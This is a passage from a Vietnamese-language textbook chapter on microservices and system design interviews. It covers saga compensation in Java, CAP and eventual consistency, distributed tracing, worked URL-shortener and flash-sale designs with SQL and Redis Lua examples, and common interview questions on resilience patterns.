    record Step(String name, Runnable action, Runnable compensation) {}
 
    public static void main(String[] args) {
        List<Step> steps = List.of(
            new Step("createOrder",  () -> log("order#1001 PENDING"),  () -> log("order#1001 CANCELLED")),
            new Step("reserveStock", () -> log("sku-9 stock 5 -> 4"),  () -> log("sku-9 stock 4 -> 5")),
            new Step("chargeCard",   () -> { throw new IllegalStateException("card declined"); }, () -> {}));
        Deque<Step> done = new ArrayDeque<>();
        for (Step s : steps) {
            try {
                s.action().run();
                done.push(s); // remember completed steps, newest on top
            } catch (RuntimeException e) {
                log(s.name() + " failed: " + e.getMessage());
                while (!done.isEmpty()) done.pop().compensation().run(); // undo in reverse order
                return;
            }
        }
        log("order#1001 CONFIRMED");
    }
 
    static void log(String msg) { System.out.println(msg); }
}



Giải thích: output lần lượt là order#1001 PENDING, sku-9 stock 5 -> 4, chargeCard failed: card declined, sku-9 stock 4 -> 5, order#1001 CANCELLED. Dùng Deque như stack nên bước làm sau được bù trước. Trong hệ thống thật, mỗi action và compensation là một lời gọi hoặc một event tới service khác, trạng thái saga (đang ở bước nào) phải lưu vào DB để orchestrator chết rồi sống lại vẫn chạy tiếp, và mỗi compensation phải idempotent vì có thể bị gửi lại.
9.6 CAP và eventual consistency
CAP nói rằng khi xảy ra network partition (các node không liên lạc được với nhau), hệ thống phân tán phải chọn giữa Consistency (mọi lần đọc thấy lần ghi mới nhất, hoặc báo lỗi) và Availability (mọi request đều nhận phản hồi, dù có thể là dữ liệu cũ). Partition là điều không tránh được trong mạng thật, nên câu hỏi thực tế là "khi mạng chia cắt, hệ thống của bạn từ chối phục vụ hay phục vụ dữ liệu có thể cũ?".
	GHI CHÚ
Cách nói "chọn 2 trong 3" dễ gây hiểu lầm. Không có hệ thống phân tán nào "bỏ P" được. Khi không có partition, hệ thống vẫn có thể vừa nhất quán vừa sẵn sàng; lúc đó đánh đổi thực tế là giữa latency và consistency (mô hình PACELC).



Eventual consistency nghĩa là nếu không có ghi mới, sau một khoảng thời gian mọi bản sao sẽ hội tụ về cùng giá trị. Trong thực tế bạn phải thiết kế UI và nghiệp vụ chấp nhận điều đó: hiển thị "đơn đang xử lý", cho phép đọc từ primary ngay sau khi ghi (read-your-writes), và có job đối soát (reconciliation) phát hiện lệch.
Ví dụ mạng bị chia cắt
Hệ thống ví điện tử có hai node database, node HN và node HCM, đồng bộ dữ liệu cho nhau. Tài khoản của An có 1.000.000đ ở cả hai node. Lúc 10:00, đường cáp giữa hai node bị đứt (partition), nhưng cả hai node vẫn nhận request từ người dùng ở gần.
	Thời điểm
	Node HN
	Node HCM

	10:00
	Mất liên lạc với HCM
	Mất liên lạc với HN

	10:01
	An rút 800.000đ qua HN
	Vợ An rút 800.000đ qua HCM

	Chọn CP
	Từ chối (hoặc chỉ node giữ đa số phục vụ), báo "thử lại sau"
	Từ chối

	Chọn AP
	Chấp nhận, số dư 200.000đ
	Chấp nhận, số dư 200.000đ

	10:10 nối lại mạng
	
	

	Kết quả AP
	Tổng đã rút 1.600.000đ từ tài khoản 1.000.000đ, phải đối soát và đòi lại
	



Giải thích: chọn C nghĩa là chấp nhận một số người không dùng được dịch vụ trong 10 phút để không bao giờ sai số dư; với tiền, đó là lựa chọn đúng. Chọn A nghĩa là ai cũng dùng được nhưng dữ liệu có thể xung đột và phải hòa giải sau. Với giỏ hàng hay số lượt like, AP hợp lý hơn: hai node cùng thêm hàng vào giỏ thì khi nối lại chỉ cần gộp hai giỏ, không ai mất tiền.
Ví dụ eventual consistency hằng ngày: user đổi tên hiển thị, order-service giữ bản sao tên (qua event) cập nhật chậm khoảng 1 giây. Trong 1 giây đó, trang lịch sử đơn vẫn hiện tên cũ; sau đó mọi nơi hiện tên mới. Nghiệp vụ chấp nhận được, nên không cần bất kỳ transaction phân tán nào.
9.7 Distributed tracing và database per service
Khi một request đi qua 6 service, log rời rạc là vô dụng nếu không có một id chung. Correlation id / trace id được sinh ở cửa vào, truyền qua header (chuẩn W3C traceparent) và qua header message Kafka, được ghi vào mọi dòng log qua MDC. Spring Boot 3 dùng Micrometer Tracing với OpenTelemetry bridge để tự động tạo trace, span và gắn traceId vào log; dữ liệu trace gửi về Jaeger, Zipkin hoặc Tempo để xem đồ thị thời gian từng span.
Giải thích các từ: trace là toàn bộ hành trình của một request qua mọi service; span là một đoạn công việc trong hành trình đó (một lời gọi HTTP, một câu SQL, xử lý một message), có thời điểm bắt đầu, thời lượng và span cha. Một trace gồm nhiều span, tất cả chung một traceId, mỗi span có spanId riêng. MDC (Mapped Diagnostic Context) là một map gắn với thread hiện tại mà logger tự in ra trong mỗi dòng log.
Ví dụ log thật của một request đặt hàng lỗi, sau khi gom từ 3 service vào hệ thống log tập trung và lọc theo traceId:
	10:15:02.101 INFO  [gateway,4bf92f3577b34da6a3ce929d0e0e4736,00f067aa0ba902b7] POST /api/orders userId=42
10:15:02.130 INFO  [order-service,4bf92f3577b34da6a3ce929d0e0e4736,a2fb4a1d1a96d312] create order 1001 PENDING
10:15:02.135 INFO  [order-service,4bf92f3577b34da6a3ce929d0e0e4736,a2fb4a1d1a96d312] call inventory reserve sku-9
10:15:03.140 WARN  [inventory-service,4bf92f3577b34da6a3ce929d0e0e4736,5c1a7e9d2b3f4a10] slow query 1002ms: select ... for update
10:15:03.160 ERROR [order-service,4bf92f3577b34da6a3ce929d0e0e4736,a2fb4a1d1a96d312] inventory timeout after 1000ms



Giải thích: mỗi dòng in [tên service, traceId, spanId]. Cùng một traceId xuất hiện ở cả 3 service, nên chỉ cần một truy vấn traceId=4bf92f... là ghép được toàn bộ câu chuyện: gateway nhận request, order-service tạo đơn, gọi inventory, inventory chạy câu select ... for update mất 1 giây vì chờ khóa dòng, order-service timeout ở mốc 1 giây. Không có traceId, bạn phải đoán theo thời gian giữa hàng nghìn dòng log của các request khác. Để có định dạng này trong Spring Boot 3, thêm micrometer-tracing-bridge-otel và cấu hình pattern log:
	spring:
  application:
    name: order-service
logging:
  pattern:
    level: "%5p [${spring.application.name:},%X{traceId:-},%X{spanId:-}]"  # read traceId/spanId from MDC
management:
  tracing:
    sampling:
      probability: 0.1   # export 10% of traces to Jaeger/Tempo; logs still carry traceId



Giải thích: %X{traceId:-} đọc giá trị traceId từ MDC (rỗng nếu không có), Micrometer Tracing tự đặt giá trị này khi request vào và tự truyền header traceparent khi bạn gọi service khác qua RestClient/WebClient được tạo từ builder của Spring. probability: 0.1 chỉ gửi 10% trace về hệ thống tracing để tiết kiệm, nhưng mọi dòng log vẫn có traceId.
Ví dụ database per service: order-service cần hiển thị tên sản phẩm trong lịch sử đơn. Thay vì JOIN sang bảng product của catalog-service, order-service lưu product_name và unit_price vào dòng order_item lúc đặt hàng. Đây cũng là yêu cầu nghiệp vụ đúng: đơn cũ phải giữ giá tại thời điểm mua, không đổi theo giá hiện tại.
Database per service: mỗi service sở hữu schema của mình, service khác chỉ truy cập qua API hoặc event. Dùng chung DB thì đổi một cột có thể làm sập service khác, và bạn quay về distributed monolith. Cái giá là không JOIN xuyên service được: giải quyết bằng API composition, hoặc sao chép dữ liệu cần đọc qua event (mỗi service giữ một bản read model), hoặc CQRS.
9.8 Cách làm bài system design trong 30–45 phút
Người phỏng vấn không chấm "đáp án đúng", họ chấm cách bạn suy nghĩ. Khung tôi khuyên:
1. Làm rõ yêu cầu (5 phút): chức năng chính, ngoài phạm vi, yêu cầu phi chức năng (latency, availability, nhất quán). Hỏi quy mô: bao nhiêu user, tỷ lệ đọc/ghi bao nhiêu.
1. Ước lượng (3–5 phút): QPS trung bình và đỉnh, dung lượng lưu trữ, băng thông. Làm tròn mạnh tay, một ngày khoảng 100.000 giây (thực tế là 86.400).
1. API (5 phút): vài endpoint chính với method, input, output.
1. Data model (5 phút): bảng/collection chính, khóa, index, chọn SQL hay NoSQL và vì sao.
1. Kiến trúc tổng thể (10 phút): vẽ client, gateway, service, DB, cache, queue; đi qua luồng chính.
1. Điểm nghẽn và scale (5–10 phút): đâu sẽ vỡ đầu tiên, cache, replica, sharding, async, xử lý lỗi.
1. Trade-off (còn lại): nói rõ đã đánh đổi gì và khi nào sẽ đổi thiết kế.
Công thức ước lượng nhanh
	Đại lượng
	Công thức
	Ví dụ

	QPS trung bình
	số thao tác mỗi ngày / 100.000
	10 triệu đọc/ngày → 100 QPS

	QPS đỉnh
	QPS trung bình × 3 đến 10
	100 × 5 = 500 QPS

	Dung lượng
	số bản ghi × kích thước × thời gian lưu
	1 triệu/ngày × 1 KB × 365 ≈ 365 GB/năm

	Băng thông
	QPS × kích thước response
	500 × 10 KB = 5 MB/s

	Bộ nhớ cache
	phần dữ liệu nóng (thường 20%) × kích thước
	20% × 365 GB ≈ 73 GB



Một vài con số nên thuộc để so sánh: một instance PostgreSQL xử lý khoảng vài nghìn đến hơn chục nghìn truy vấn đơn giản mỗi giây; Redis khoảng 100.000 lệnh đơn giản mỗi giây trên một node; một service Spring Boot stateless vài trăm đến vài nghìn request/giây mỗi instance tùy logic. Không cần chính xác, chỉ cần đúng bậc độ lớn để quyết định "một DB là đủ" hay "phải có cache, phải shard".
	BẪY THƯỜNG GẶP
Nhảy thẳng vào vẽ Kafka, Redis, Kubernetes khi chưa hỏi hệ thống phục vụ bao nhiêu người. Thiết kế quá mức cho 1.000 user/ngày cũng bị trừ điểm như thiết kế thiếu.



9.9 Bài mẫu 1: URL shortener
Yêu cầu: tạo link rút gọn từ URL dài, redirect khi truy cập, tùy chọn hạn dùng. Phi chức năng: redirect nhanh (dưới 50ms phía server), availability cao, đọc nhiều hơn ghi khoảng 100 lần.
Ước lượng: 100 triệu link mới/tháng, khoảng 40 ghi/giây; đọc khoảng 4.000/giây, đỉnh gấp 3–5 lần. 5 năm là 6 tỷ bản ghi, mỗi bản ghi khoảng 500 byte, tổng khoảng 3 TB. Mã base62 dài 7 ký tự cho khoảng 3.500 tỷ tổ hợp, dư dùng.
Các phép tính trên, từng bước:
1. Ghi: 100 triệu link/tháng ÷ 30 ngày ≈ 3,3 triệu link/ngày; ÷ 86.400 giây ≈ 38, làm tròn 40 ghi/giây.
1. Đọc: tỷ lệ đọc/ghi 100 : 1 nên 40 × 100 = 4.000 đọc/giây trung bình; đỉnh gấp 5 là 20.000 đọc/giây.
1. Số bản ghi: 100 triệu × 12 tháng × 5 năm = 6 tỷ bản ghi.
1. Dung lượng: 6 tỷ × 500 byte = 3.000 tỷ byte ≈ 3 TB (chưa tính index và replica; nhân 2–3 khi nói về đĩa thật).
1. Không gian mã: 62 ký tự cho mỗi vị trí, 7 vị trí: 62^7 ≈ 3,5 × 10^12, tức khoảng 3.500 tỷ mã, gấp khoảng 580 lần 6 tỷ. Mã 6 ký tự (62^6 ≈ 57 tỷ) cũng đủ nhưng biên an toàn nhỏ hơn.
1. Cache: đọc mỗi ngày 4.000 × 86.400 ≈ 345 triệu lượt. Giả định 20% link được đọc nhiều nhất chiếm phần lớn lượt đọc; nếu mỗi ngày có khoảng 20 triệu link khác nhau được đọc, cache 20% của số đó là 4 triệu × 500 byte = 2 GB, một node Redis thừa sức.
1. Băng thông: response redirect khoảng 500 byte, 20.000 × 500 byte = 10 MB/giây lúc đỉnh, không đáng lo.
Kết luận từ số liệu: ghi 40/giây thì một PostgreSQL thừa sức; đọc 20.000/giây lúc đỉnh vượt khả năng thoải mái của một DB nên cần Redis phía trước, với hit ratio 90% thì DB chỉ nhận khoảng 2.000 truy vấn/giây. 3 TB sau 5 năm là mức một cụm PostgreSQL vẫn chứa được, nên sharding là chuyện của năm thứ 3–4, không phải ngày đầu.
API: POST /api/links với { "url": "...", "expireAt": "..." } trả { "code": "aZ3kP9x" }; GET /{code} trả 302 kèm header Location.
Sinh mã: tôi chọn ID tăng dần rồi mã hóa base62, không đụng độ và không cần kiểm tra trùng. Để nhiều instance không tranh nhau một sequence, mỗi instance xin trước một dải ID (ví dụ 10.000 số) và cấp dần trong bộ nhớ. Nhược điểm là mã đoán được; nếu cần khó đoán thì trộn bit hoặc dùng random kèm unique constraint và retry khi trùng. Hash URL rồi cắt 7 ký tự cũng được nhưng phải xử lý đụng độ.
Data model: bảng short_link(code PK, long_url, created_at, expire_at, owner_id). Truy vấn chính là tìm theo khóa chính, nên PostgreSQL chạy tốt ở giai đoạn đầu; khi lớn thì shard theo code hoặc chuyển sang key-value store.
Kiến trúc: client → load balancer → link service (stateless, nhiều instance) → Redis cache-aside → DB. Link nóng nằm trong Redis với TTL; thống kê click đẩy vào Kafka để service analytics xử lý bất đồng bộ, không làm chậm redirect.
Trade-off: 301 được trình duyệt cache nên giảm tải nhưng mất số liệu click; 302 giữ được analytics nên tôi chọn 302. Cache null ngắn hạn cho mã không tồn tại để chống penetration.
9.10 Bài mẫu 2: Đặt hàng flash sale chống oversell
	NHẮC LẠI KIẾN THỨC
Câu UPDATE ... WHERE available >= 1 là atomic update: kiểm tra và ghi trong một lệnh, row lock khiến các request tranh cùng dòng phải xếp hàng (mục 6.3, "Optimistic vs pessimistic lock"). Idempotency key chống double click được mô tả ở mục 7.4.



Yêu cầu: 1.000 sản phẩm giá sốc mở bán lúc 10:00, khoảng 100.000 người truy cập trong vài giây đầu, mỗi người mua tối đa 1 sản phẩm, tuyệt đối không bán quá số lượng. Giữ hàng 10 phút để thanh toán.
Ước lượng: đỉnh có thể tới vài chục nghìn request/giây trong vài giây đầu, trong khi chỉ 1.000 request thành công. Nhiệm vụ chính là chặn phần lớn traffic trước khi nó chạm DB.
Phép tính từng bước:
1. Traffic mua: 100.000 người bấm "Mua" trong 5 giây đầu, trung bình 100.000 ÷ 5 = 20.000 request/giây. Người dùng bấm lặp khi thấy chậm, nhân 3 cho đỉnh: khoảng 60.000 request/giây.
1. Traffic xem trang: mỗi người tải trang sản phẩm vài lần trước giờ G, giả sử 3 lần × 100.000 = 300.000 lượt trong 1 phút trước 10:00, tức 5.000 lượt/giây. Trang nặng 500 KB (ảnh, JS) thì 5.000 × 500 KB = 2,5 GB/giây: bắt buộc phải là trang tĩnh trên CDN, không để server của bạn phục vụ.
1. Khả năng của từng tầng: một hot row trên DB chỉ chịu vài trăm đến vài nghìn UPDATE/giây vì các request phải xếp hàng chờ khóa dòng. Redis chạy Lua script đơn giản được vài chục nghìn đến khoảng 100.000 lần/giây trên một node. So với đỉnh 60.000/giây: DB không thể đứng trực tiếp, Redis chịu được nếu gateway cắt bớt phần bấm lặp.
1. Rate limit: mỗi user tối đa 1 request mua mỗi 2 giây tại gateway, 60.000/giây giảm về khoảng 20.000/giây tới order service.
1. Luồng thành công: chỉ 1.000 lần Lua script trả 1, tức 1.000 message vào Kafka và 1.000 câu UPDATE xuống DB trong vài giây, DB xử lý dễ dàng. 99% request còn lại dừng ở Redis với câu trả lời "hết hàng".
1. Dữ liệu: 1.000 đơn × khoảng 2 KB = 2 MB, không đáng kể. Bài toán này là bài toán đỉnh tải, không phải bài toán dung lượng.
Chống oversell ở tầng DB: câu lệnh cập nhật có điều kiện là nguyên tử, không cần đọc rồi kiểm tra trong Java. Câu dưới đây vừa kiểm tra còn hàng vừa trừ kho trong cùng một lệnh.
	UPDATE inventory
SET available = available - 1, reserved = reserved + 1  -- move 1 unit into "reserved"
WHERE sku = :sku AND available >= 1;                     -- the in-stock check is part of the write itself
-- 0 affected rows means sold out



Giải thích: giả sử chỉ còn available = 1 và hai request A, B chạy câu này cùng lúc. A lấy được row lock trước, trừ còn 0; B phải chờ lock của dòng đó. Khi A commit, B đánh giá lại điều kiện available >= 1 trên phiên bản mới nhất của dòng (PostgreSQL ở READ COMMITTED kiểm tra lại dòng đã bị cập nhật, InnoDB thì UPDATE luôn đọc bản mới nhất), thấy không thỏa nên cập nhật 0 dòng. Phía Java chỉ cần kiểm tra updatedRows == 0 để báo hết hàng. Khác biệt với cách "đọc stock ra rồi if (stock > 0) rồi save" là việc kiểm tra và việc ghi không bị tách thành hai bước để request khác chen vào giữa.
Cách này đúng nhưng mọi request tranh nhau khóa cùng một dòng (hot row), DB sẽ nghẽn ở vài nghìn request/giây. Optimistic lock theo version còn tệ hơn vì tỷ lệ xung đột rất cao dẫn đến retry liên tục.
Trừ trước trên Redis: nạp số lượng vào Redis trước giờ mở bán, dùng Lua script để kiểm tra và trừ một cách nguyên tử, đồng thời chặn một người mua hai lần.
	-- KEYS[1] = sale:{42}:stock, KEYS[2] = sale:{42}:buyers, ARGV[1] = userId
if redis.call("SISMEMBER", KEYS[2], ARGV[1]) == 1 then return -2 end  -- this user already bought
local stock = tonumber(redis.call("GET", KEYS[1]) or "0")             -- missing key counts as 0
if stock <= 0 then return -1 end                                      -- sold out
redis.call("DECR", KEYS[1])                                           -- take 1 unit
redis.call("SADD", KEYS[2], ARGV[1])                                  -- remember this buyer
return 1                                                              -- reservation succeeded



Giải thích: giả sử stock = 1. User u1 gọi script: chưa có trong tập buyers, stock là 1 nên trừ còn 0, thêm u1 vào tập và trả 1. u1 bấm lần nữa: SISMEMBER trả 1 nên script trả -2 ngay. User u2 gọi: stock là 0 nên trả -1. Script đúng được là nhờ Redis chạy trọn một Lua script trên thread thực thi lệnh mà không xen lệnh của client khác vào giữa; nếu tách thành các lệnh GET rồi DECR gửi từ Java, hai request có thể cùng đọc thấy stock = 1 và cùng trừ, ra số âm. Hash tag {42} trong tên key giúp hai key nằm cùng slot khi chạy Redis Cluster (xem câu hỏi đào sâu cuối mục).
Luồng: user bấm mua → gateway rate limit theo user và IP → order service chạy Lua script; -1 trả "hết hàng" ngay, 1 thì publish message tạo đơn vào Kafka và trả 202 "đang xử lý" → consumer tạo đơn PENDING và chạy câu UPDATE có điều kiện ở trên làm chốt chặn cuối → hết 10 phút chưa thanh toán thì job nhả hàng (compensation) và cộng lại Redis.
Các chốt an toàn khác: idempotency key cho request đặt hàng để chống double click; unique constraint (campaign_id, user_id) trong DB; trang sản phẩm tĩnh đặt trên CDN; đối soát định kỳ giữa Redis và DB.
Trade-off: Redis và DB có thể lệch tạm thời (Redis trừ rồi nhưng tạo đơn lỗi), nên DB là nguồn sự thật và có job đối soát. Với traffic nhỏ, chỉ cần câu UPDATE có điều kiện là đủ; tôi sẽ nói rõ điều đó thay vì mặc định dựng Redis và Kafka.
	CÂU HỎI ĐÀO SÂU
Chạy Lua script trên Redis Cluster với 2 key thì sao? Các key trong một script phải nằm cùng hash slot, nên đặt hash tag như sale:{42}:stock và sale:{42}:buyers để chúng cùng slot.



9.11 Câu hỏi phỏng vấn thường gặp
Câu hỏi (Cơ bản): Khi nào bạn không chọn microservices?
Khi team nhỏ, nghiệp vụ còn thay đổi mạnh và ranh giới chưa rõ, hoặc chưa có nền tảng vận hành (CI/CD, log tập trung, tracing, monitoring). Khi đó tôi chọn modular monolith: một deploy, module tách theo nghiệp vụ, ranh giới được kiểm tra bằng test kiến trúc. Tách service khi có lý do cụ thể: một phần cần scale khác biệt, nhịp release khác, hoặc team riêng sở hữu.
	BẪY THƯỜNG GẶP
"Microservices giúp hệ thống nhanh hơn." Gọi qua mạng luôn chậm hơn gọi hàm; microservices tối ưu tổ chức và khả năng scale độc lập, không phải tốc độ từng request.



Câu hỏi (Thực chiến): Service B chậm làm service A chết theo. Bạn xử lý thế nào?
Đây là cascading failure. Tôi đặt timeout ngắn và hợp lý cho lời gọi sang B, circuit breaker để fail nhanh khi B lỗi nhiều, bulkhead để giới hạn số thread dành cho B, và fallback hợp lý (dữ liệu cache, giá trị mặc định, hoặc báo lỗi rõ ràng). Về lâu dài, xem lại xem lời gọi đó có cần đồng bộ không hay chuyển sang event.
	CÂU HỎI ĐÀO SÂU
Thứ tự áp dụng mặc định trong Resilience4j? Retry bọc ngoài CircuitBreaker, CircuitBreaker bọc ngoài RateLimiter, TimeLimiter và Bulkhead. Nghĩa là mỗi lần retry đều đi qua circuit breaker và được tính vào tỷ lệ lỗi.



Câu hỏi (Hiểu sâu): Retry có an toàn không?
Chỉ an toàn khi thao tác idempotent. GET hay PUT đặt trạng thái thì retry thoải mái; POST /payments retry có thể trừ tiền hai lần. Cách làm là client gửi Idempotency-Key, server lưu key cùng kết quả và trả lại kết quả cũ nếu gặp lại key. Thêm backoff và jitter để không tạo retry storm.
	BẪY THƯỜNG GẶP
Bật retry cho mọi exception, kể cả lỗi 400 hoặc lỗi nghiệp vụ, khiến lỗi của người dùng được "thử lại" vô ích.



Câu hỏi (Hiểu sâu): Làm thế nào đảm bảo nhất quán khi đặt hàng liên quan tới order, inventory và payment?
Tôi không dùng 2PC vì blocking, giữ khóa lâu và nhiều thành phần không hỗ trợ. Tôi dùng Saga: mỗi service commit local transaction và phát event qua Transactional Outbox; bước sau lỗi thì chạy compensation cho các bước trước. Consumer idempotent vì event có thể đến trùng. Trạng thái trung gian như PENDING được hiển thị rõ cho người dùng.
	CÂU HỎI ĐÀO SÂU
Compensation cũng lỗi thì sao? Retry có backoff vì compensation phải idempotent; quá số lần thì đưa vào DLQ, bắn alert và có quy trình xử lý thủ công. Không hệ thống nào tự động 100%.



Câu hỏi (Cơ bản): Giải thích định lý CAP.
Khi có network partition, hệ thống phải chọn trả lời nhất quán (từ chối hoặc chờ, chấp nhận không sẵn sàng) hoặc sẵn sàng (trả lời ngay, chấp nhận dữ liệu có thể cũ). Ví dụ số dư ngân hàng tôi nghiêng về C, còn số lượt like hay giỏ hàng thì nghiêng về A. Khi không có partition, đánh đổi còn lại là latency và consistency.
	BẪY THƯỜNG GẶP
Nói "MongoDB là CP, Cassandra là AP" như chân lý. Nhiều hệ thống cho phép chỉnh mức nhất quán theo từng truy vấn (read/write concern, quorum), nên nhãn cứng như vậy thiếu chính xác.



Câu hỏi (Thực chiến): Một request lỗi đi qua 5 service, bạn tìm nguyên nhân thế nào?
Lấy traceId từ response hoặc log gateway, tra trên hệ thống tracing (Jaeger, Tempo) để thấy span nào lỗi hoặc chậm, rồi lọc log tập trung theo traceId để đọc stacktrace. Điều kiện tiên quyết là trace id được truyền qua cả HTTP header lẫn message header, và mọi dòng log có traceId qua MDC.
	CÂU HỎI ĐÀO SÂU
Trace id có tự đi qua Kafka không? Với Spring Kafka và Micrometer Tracing, cần bật observation cho KafkaTemplate và listener container thì header trace mới được gắn và đọc tự động.



Câu hỏi (Hiểu sâu): Vì sao mỗi service nên có database riêng? Cần dữ liệu của service khác thì làm sao?
Để service thực sự độc lập: đổi schema không làm vỡ service khác, chọn loại DB phù hợp, scale riêng. Cần dữ liệu của service khác thì gọi API của nó, hoặc lắng nghe event để giữ bản sao dữ liệu cần đọc (ví dụ order service giữ tên và giá sản phẩm tại thời điểm đặt). Báo cáo tổng hợp thì đẩy dữ liệu sang data warehouse.
	BẪY THƯỜNG GẶP
"Cho các service đọc chung một DB cho nhanh." Đó là con đường ngắn nhất tới distributed monolith.



Câu hỏi (Thực chiến): Làm sao chống oversell khi nhiều người cùng mua một sản phẩm?
Chốt chặn cuối cùng luôn ở DB: UPDATE ... SET available = available - 1 WHERE sku = ? AND available >= 1 và kiểm tra số dòng bị ảnh hưởng. Traffic thường thì như vậy là đủ. Với flash sale, tôi thêm lớp trừ trước bằng Lua script trên Redis và xử lý tạo đơn bất đồng bộ qua queue để chặn phần lớn request trước khi chạm DB, cộng với rate limit, idempotency key và job đối soát.
	BẪY THƯỜNG GẶP
Đọc stock ra Java, if (stock > 0) rồi save(stock - 1). Hai request đọc cùng lúc sẽ cùng thấy còn hàng. Đặt synchronized cũng không cứu được vì bạn chạy nhiều instance.



Câu hỏi (Cơ bản): Monolith, modular monolith và microservices khác nhau thế nào? Cho ví dụ.
Khác nhau ở số đơn vị deploy và cách các phần gọi nhau: monolith là một ứng dụng lẫn lộn, modular monolith là một ứng dụng chia module có ranh giới rõ, microservices là nhiều ứng dụng gọi nhau qua mạng. Ví dụ shop online: monolith là một shop.jar mà class OrderService đọc thẳng bảng inventory; modular monolith là một shop.jar nhưng module order chỉ gọi InventoryApi public, không đụng bảng của inventory; microservices là order-service và inventory-service chạy riêng, DB riêng, gọi nhau qua HTTP hoặc Kafka. Modular monolith giữ được transaction ACID và debug đơn giản, trong khi đã sẵn ranh giới để tách service về sau.
Câu hỏi (Cơ bản): API Gateway làm những gì và không nên làm gì?
Gateway là cửa vào chung: định tuyến, xác thực token, rate limit, CORS, log; nó không nên chứa logic nghiệp vụ. Ví dụ /api/orders/** đi tới order-service, /api/products/** tới catalog-service; token JWT hết hạn bị chặn ngay ở gateway; mỗi user tối đa 50 request/giây. Nếu nhét logic "đơn trên 10 triệu thì áp mã giảm giá" vào gateway, mỗi lần đổi nghiệp vụ phải deploy gateway, và gateway trở thành một monolith mới mà mọi team phải chờ nhau.
Câu hỏi (Cơ bản): Connect timeout và read timeout khác nhau thế nào? Đặt giá trị bao nhiêu?
Connect timeout là thời gian chờ mở kết nối TCP; read timeout là thời gian chờ response sau khi đã kết nối. Connect timeout ngắn (1–2 giây) vì mở kết nối trong cùng data center chỉ mất vài mili giây; vượt quá nghĩa là đích không tới được. Read timeout đặt theo p99 của service đích cộng biên: p99 là 300ms thì khoảng 1 giây. Thêm vào đó nên có tổng thời gian cho cả request (deadline) để các lần retry cộng lại không vượt timeout của client gọi bạn.
	BẪY THƯỜNG GẶP
Không đặt timeout vì "thư viện có mặc định". Nhiều HTTP client mặc định read timeout là vô hạn hoặc rất dài; một dependency treo sẽ giữ hết thread của bạn.



Câu hỏi (Cơ bản): Circuit breaker có mấy trạng thái, chuyển đổi thế nào?
Ba trạng thái: CLOSED gọi bình thường, OPEN từ chối ngay không gọi, HALF_OPEN cho vài lời gọi thử. Tỷ lệ lỗi trong cửa sổ vượt ngưỡng (ví dụ 50% trên 20 lời gọi) thì CLOSED sang OPEN; hết thời gian chờ (ví dụ 30 giây) thì OPEN sang HALF_OPEN; lời gọi thử ổn thì về CLOSED, vẫn lỗi thì về OPEN. Lợi ích: không phí thread và thời gian chờ một dependency đang chết, và cho dependency thời gian hồi phục thay vì bị dội thêm request.
Câu hỏi (Cơ bản): Saga là gì? Compensation khác rollback ở điểm nào?
Saga chia một nghiệp vụ phân tán thành chuỗi local transaction, mỗi bước commit ngay; bước sau lỗi thì chạy các compensation để hoàn tác theo nghĩa nghiệp vụ. Rollback xóa thay đổi trước khi ai khác thấy; compensation là một thao tác mới sau khi thay đổi đã commit và có thể đã bị người khác thấy. Ví dụ đã trừ tiền rồi thì compensation là tạo giao dịch hoàn tiền, lịch sử vẫn ghi hai dòng "trừ" và "hoàn", không phải xóa dòng "trừ".
Câu hỏi (Cơ bản): Eventual consistency là gì? Cho ví dụ bạn đã gặp.
Eventual consistency nghĩa là các bản sao có thể lệch nhau tạm thời, nhưng nếu không có ghi mới thì sau một khoảng thời gian chúng sẽ giống nhau. Ví dụ: user thanh toán xong, payment-service phát event PaymentCompleted, order-service nhận sau khoảng 500ms mới chuyển đơn sang PAID. Trong 500ms đó trang đơn hàng vẫn hiện "chờ thanh toán". Cách làm UX: sau khi thanh toán hiển thị "đang xác nhận" và polling, hoặc đọc trực tiếp trạng thái từ payment-service cho màn hình vừa thanh toán.
Câu hỏi (Cơ bản): traceId và spanId khác nhau thế nào?
traceId định danh cả hành trình của một request qua mọi service; spanId định danh một đoạn công việc trong hành trình đó. Một request đặt hàng có một traceId, và các span: gateway nhận request, order-service xử lý, lời gọi HTTP sang inventory, câu SQL trong inventory. Mỗi span ghi span cha của nó, nhờ vậy Jaeger vẽ được cây thời gian và bạn thấy ngay span nào chiếm 900ms trong tổng 1 giây.
Câu hỏi (Hiểu sâu): Vì sao retry cần jitter? Minh họa bằng số.
Không có jitter, các client lỗi cùng lúc sẽ retry cùng lúc, tạo ra những đợt tải dồn đúng vào lúc service vừa hồi phục. Ví dụ 2.000 client cùng timeout lúc T. Backoff cố định 200ms, 400ms, 800ms thì cả 2.000 request quay lại đúng T+200ms, rồi T+600ms: service nhận 2.000 request trong 1 mili giây, lại quá tải, lại lỗi. Full jitter (ngẫu nhiên 0–200ms) rải 2.000 request đó trong 200ms, khoảng 10 request mỗi mili giây. Code ví dụ và output ở mục 9.4.
Câu hỏi (Hiểu sâu): Vì sao 2PC bị gọi là blocking? Trình bày kịch bản coordinator chết.
Vì sau khi participant trả lời "yes" ở phase 1, nó không được tự quyết commit hay rollback, phải giữ khóa và chờ quyết định từ coordinator. Kịch bản: inventory và payment đều prepare thành công và giữ khóa dòng; coordinator chết trước khi gửi "commit". Cả hai bị treo với khóa đang giữ; mọi giao dịch khác cần dòng đó phải chờ, có thể hàng phút tới khi coordinator khôi phục từ log. Ngoài ra Kafka, Redis, API đối tác không tham gia XA được, nên 2PC gần như không dùng trong microservices.
	CÂU HỎI ĐÀO SÂU
Saga có giải quyết được mọi thứ 2PC làm không? Không. Saga mất tính cô lập (isolation): trạng thái trung gian bị thấy. Bù lại bằng semantic lock (trạng thái PENDING), thiết kế thứ tự bước để bước khó bù trừ (trừ tiền, gửi hàng) nằm cuối cùng, và đọc lại giá trị trước khi làm (không tin dữ liệu cũ).



Câu hỏi (Hiểu sâu): Choreography và orchestration: khi nào chọn cái nào?
Choreography hợp với luồng ngắn 2–4 bước, ít nhánh; orchestration hợp với luồng dài, nhiều nhánh, cần timeout và theo dõi từng bước. Choreography: order phát OrderCreated, inventory nghe và phát StockReserved, payment nghe và phát PaymentCompleted, không ai điều phối. Dễ bắt đầu nhưng khi có 7 bước, muốn biết "đơn 1001 đang kẹt ở đâu" phải lần qua log của 7 service. Orchestration: một saga orchestrator lưu trạng thái từng bước trong DB, trả lời được ngay câu đó, dễ thêm timeout "giữ hàng quá 10 phút thì hủy". Nhược điểm là orchestrator có thể phình ra chứa logic của mọi service.
Câu hỏi (Hiểu sâu): Bulkhead và circuit breaker khác nhau thế nào? Có cần cả hai không?
